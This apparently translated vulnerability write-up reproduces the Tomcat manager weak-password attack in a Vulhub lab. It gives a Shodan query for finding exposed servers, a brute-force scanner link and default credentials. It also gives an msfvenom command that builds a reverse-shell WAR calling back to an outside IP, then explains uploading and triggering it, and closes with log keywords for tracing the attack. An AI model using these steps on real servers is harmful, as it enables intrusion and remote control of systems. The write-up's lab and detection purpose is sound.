Vulnerability Overview
Tomcat supports deploying WAR files through the backend, allowing a web shell to be directly deployed to the web directory. To access the backend, the corresponding user must have the necessary permissions. By default, a normal installation of Tomcat 8 does not include any users, and the manager page only allows access from local IPs. An attack is only possible if an administrator manually modifies these properties. Since special configurations are required for exploitation, this can be considered a technique for knowledge accumulation.
Affected Versions
Tomcat 7+
Vulnerability POC
https://github.com/magicming200/tomcat-weak-password-scanner
Brute-forcing weak Tomcat passwords
Shodan Search Syntax
http.html:"successfully installed Tomcat." http.favicon.hash:-297069493

Vulnerability Environment Setup
Use Vulhub for reproduction. Mount the current XML file to the container as the configuration file.
Name | Permission Description |
---|---|
admin-gui | Can access the âHost Managerâ page but cannot view the âApp Managerâ and âServer Statusâ pages |
admin-script | Only has access to the host-manager script management interface |
manager-gui | Cannot access the âHost Managerâ page but can view the âApp Managerâ and âServer Statusâ pages |
manager-status | Can only view the âServer Statusâ page |
manager-script | Has script management interface access and can view the âServer Statusâ page |
manager-jmx | Has JMX proxy interface access and can view the âServer Statusâ page |

The context.xml configuration allows the manager page to be accessed from any IP.
[root@VM-0-15-centos tomcat8]# cat context.xml
Check the permissions of the Tomcat user in tomcat-users.xml. The user âtomcatâ has all the above permissions, and the password is âtomcatâ.
[root@VM-0-15-centos tomcat8]# cat tomcat-users.xml

Access /manager/html.

After logging into the backend, you can upload a WAR file for deployment. A WAR file can be understood as a compressed package, which Tomcat will automatically decompress and deploy after uploading.

You can use MSF to directly generate a reverse shell WAR file.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=43.155.67.230 LPORT=1234 -f war -o shell.war

After a successful upload, it will display âOKâ. Access the shell directory to trigger the reverse shell.

You can use the above tool to brute-force weak Tomcat passwords.

Traceback Investigation
Log directory: /usr/local/tomcat/logs
Investigation keywords: /manager/html/upload
